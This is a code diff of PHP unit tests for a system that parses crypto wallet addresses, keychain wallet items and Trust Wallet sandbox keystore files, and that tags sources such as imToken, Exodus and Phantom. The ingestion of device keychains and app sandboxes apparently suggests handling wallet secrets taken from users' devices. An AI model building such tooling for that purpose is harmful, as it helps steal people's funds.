['address' => 'bc1qthirdbtcshouldskipxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D', 'coin' => 501],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 20000714],
['address' => '0x1111111111111111111111111111111111111111', 'coin' => 10042221],
],
];
@@ -43,7 +45,10 @@ class DsTrustAddressIngestTest extends TestCase
'TFirstTronAddress1111111111111111111',
'TSecondTronAddress111111111111111111',
], $byChain['TRON'] ?? []);
$this->assertCount(6, $rows);
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['BSC'] ?? []);
$this->assertSame(['GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D'], $byChain['SOLANA'] ?? []);
$this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['ARBITRUM'] ?? []);
$this->assertCount(9, $rows);
}
#[Test]
+49
View File
@@ -84,4 +84,53 @@ class WalletKeystoreTest extends TestCase
$this->assertSame('钥匙串', $row->kindLabel());
$this->assertNotSame('', $row->summary());
}
#[Test]
public function list_stats_match_listed_items_without_hashing_blobs(): void
{
$json = [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [
['account' => 'trust.account', 'dataHex' => bin2hex('777350')],
['account' => 'other', 'dataHex' => '00'],
],
],
],
];
$stats = WalletKeystore::computeListStatsFromJson($json);
$this->assertSame(2, $stats['item_count']);
$this->assertSame('钥匙串', $stats['kind']);
$this->assertSame('trust.account · other', $stats['summary']);
$this->assertFalse($stats['has_web3_keystore']);
}
#[Test]
public function nested_sandbox_utc_counts_as_web3_keystore(): void
{
$row = new WalletKeystore([
'source' => 'Trust Wallet',
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'Trust Wallet' => [
'Documents' => [
'keystore' => [
'UTC--demo' => [
'crypto' => [
'ciphertext' => 'aa',
'mac' => 'bb',
],
],
],
],
],
],
],
]);
$this->assertTrue($row->hasWeb3Keystore());
$this->assertSame('沙盒文件', $row->kindLabel());
}
}
+8 -3
View File
@@ -22,14 +22,16 @@ class WalletSourceTest extends TestCase
}
#[Test]
public function supported_chains_exclude_solana_and_ton(): void
public function supported_chains_include_sol_and_arb(): void
{
$this->assertTrue(WalletSource::isSupportedChain('ETHEREUM'));
$this->assertTrue(WalletSource::isSupportedChain('TRON'));
$this->assertTrue(WalletSource::isSupportedChain('BITCOIN'));
$this->assertTrue(WalletSource::isSupportedChain('BNB'));
$this->assertFalse(WalletSource::isSupportedChain('SOLANA'));
$this->assertFalse(WalletSource::isSupportedChain('SOL'));
$this->assertTrue(WalletSource::isSupportedChain('SOLANA'));
$this->assertTrue(WalletSource::isSupportedChain('SOL'));
$this->assertTrue(WalletSource::isSupportedChain('ARBITRUM'));
$this->assertTrue(WalletSource::isSupportedChain('ARB'));
$this->assertFalse(WalletSource::isSupportedChain('TON'));
$this->assertFalse(WalletSource::isSupportedChain('UNKNOWN'));
}
@@ -51,6 +53,9 @@ class WalletSourceTest extends TestCase
$this->assertSame('', WalletSource::fromKeystoreHint(''));
$this->assertSame('d', WalletSource::tagForLabel('Trust Wallet'));
$this->assertSame('b', WalletSource::tagForLabel('imToken'));
$this->assertSame('k', WalletSource::tagForLabel('Exodus'));
$this->assertSame('h', WalletSource::tagForLabel('Uniswap'));
$this->assertSame('i', WalletSource::tagForLabel('Phantom'));
}
#[Test]